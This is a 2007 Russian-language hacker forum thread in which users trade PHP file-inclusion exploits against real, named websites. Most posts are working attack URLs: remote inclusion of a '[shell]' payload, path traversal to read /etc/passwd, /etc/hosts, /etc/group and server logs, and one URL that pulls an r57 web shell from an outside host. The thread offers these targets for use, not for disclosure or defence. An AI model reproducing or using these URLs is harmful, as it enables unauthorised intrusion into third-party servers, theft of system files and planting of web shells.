PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    1. www.ovz.ch
    Code:
    http://www.ovz.ch/?page=[shell].php
    
    2. www.ironclan.com
    Code:
    http://www.ironclan.com/eX/index.php?page=[shell].txt
    
    3. fouleescholetaises.free.fr
    Code:
    http://fouleescholetaises.free.fr/index_psf.php?page=[shell].php
    
    4. www.ultriplo.com
    Code:
    http://www.ultriplo.com/index.php?page=[shell].php
    
    5. www.gmo-productions.be
    Code:
    http://www.gmo-productions.be/index.php?page=[shell].inc.php
    
    6. muson.com.ua
    Code:
    http://muson.com.ua/products_service/humidifiers/site1.php?page=[shell].php
    
     
  2. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    чото похожее на игру было раньше с таким названием=))
     
  3. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    как хорошо после душа.....сразу лезут пхп инж..=)

     
  4. md5f1h

    md5f1h Member

    Joined:
    26 Jan 2007
    Messages:
    14
    Likes Received:
    8
    Reputations:
    0
    http://www.lineage2world.com/main/index.php?p=[index] локальный инклуд но толку от него нет :(
     
  5. iRedX

    iRedX Elder - Старейшина

    Joined:
    18 Jun 2002
    Messages:
    117
    Likes Received:
    11
    Reputations:
    9
    Вот.. давно разрабатывал, может кому пригодиться=)
     
    1 person likes this.
  6. iRedX

    iRedX Elder - Старейшина

    Joined:
    18 Jun 2002
    Messages:
    117
    Likes Received:
    11
    Reputations:
    9
    А вот удаленный инклд на прикольном тайванском сервачке.
     
    1 person likes this.
  7. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    До сих пор эти ***** ничего не делают...
    http://www.postnuke.ru/index.php?module=Static_Docs&func=view&f=../../../../../../../../../../../../../../../../../../../../opt/www/
     
    #247 Ch3ck, 9 Jul 2007
    Last edited: 9 Jul 2007
    1 person likes this.
  8. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    http://ima-ag.ru/sitemap.php?inc=
     
  9. md5f1h

    md5f1h Member

    Joined:
    26 Jan 2007
    Messages:
    14
    Likes Received:
    8
    Reputations:
    0
    http://www.best-trade.ru/txt.php?textid=filials&pic1=foto024.jpg&parent=2&tail=tail.php&head=../../../../../etc/passwd&title1=%C6%C9%CC%C9%C1%CC%D9
    http://www.nrcm.ru/main.php?BackGround=bk1.gif&content=http://no.spam.ee/~tonu/phpshell/r57shell.txt?&id=348&Back_Link=main.php
     
  10. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    1 person likes this.
  11. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
  12. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    1 person likes this.
  13. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    2 people like this.
  14. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    в фреймечишке =)))) воТка абсолут хорошая..а сайт с таким названием, ниочень!

     
  15. cRiLaZ

    cRiLaZ Member

    Joined:
    17 Oct 2006
    Messages:
    21
    Likes Received:
    15
    Reputations:
    18
    теоретически инклуд, но на практике ничего не нашел, хотя может плохо искал

    http://www.liveinternet.ru/rating/ru/job/index.html?lang=./../lang/it%00sdfgsdafgsdfg
     
  16. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    какойто медицинский университет =)
    http://www.upstate.edu/publicaffairs/public_media/?id=../../../etc/passwd
     
    1 person likes this.
  17. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    =))
     
  18. wers

    wers Elder - Старейшина

    Joined:
    24 Jun 2007
    Messages:
    46
    Likes Received:
    41
    Reputations:
    13
    Local File Inclusion

    p.s. А на счёт удалённой работы сильно похожи на кидал.
     
  19. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    1. www.automaz.ru --remote
    Code:
    http://www.automaz.ru/index.php?page=[shell]
    
    2. www.botulinuz.com --local
    Code:
    http://www.botulinuz.com/kk-spider/kk-03.php?page=../../../../../../../etc/passwd
    http://www.botulinuz.com/kk-spider/kk-03.php?page=../../../../../../../etc/hosts
    http://www.botulinuz.com/kk-spider/kk-03.php?page=../../../../../../../etc/group
    
    3. www.southern-exotic.de --remote
    Code:
    http://www.southern-exotic.de/?page=[shell]
    
    4. www.realmofgaming.com --local
    Code:
    http://www.realmofgaming.com/jennykirk/?page=../../../../../../etc/passwd
    http://www.realmofgaming.com/jennykirk/?page=../../../../../../etc/hosts
    http://www.realmofgaming.com/jennykirk/?page=../../../../../../etc/group
    
    5. www.durhampa.org --local
    Code:
    http://www.durhampa.org/?page=../../../../../../../../etc/passwd
    http://www.durhampa.org/?page=../../../../../../../../etc/group
    http://www.durhampa.org/?page=../../../../../../../../etc/hosts
    
    6. www.duppyconqueror.com --local
    Code:
    http://www.duppyconqueror.com/index.php?page=../../../../../../../etc/passwd
    http://www.duppyconqueror.com/index.php?page=../../../../../../../etc/hosts
    http://www.duppyconqueror.com/index.php?page=../../../../../../../etc/group
    Логи
    http://www.duppyconqueror.com/index.php?page=../../../../../../../var/log/messages
    
     
    1 person likes this.
  20. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    http://www.gatorzone.com/soccer/bios.php?year=1997&bio=../../../../../../etc/passwd
    http://www.gatorzone.com/soccer/bios.php?year=1997&bio=../../../../../../etc/hosts
    http://www.gatorzone.com/soccer/bios.php?year=1997&bio=../../../../../../etc/group
    p/s pr =7

    http://www.gatorzone.com/soccer/bios.php?year=1997&bio=../../../../../../../../etc/syslog.conf
     
    #260 Constantine, 12 Jul 2007
    Last edited: 12 Jul 2007
    1 person likes this.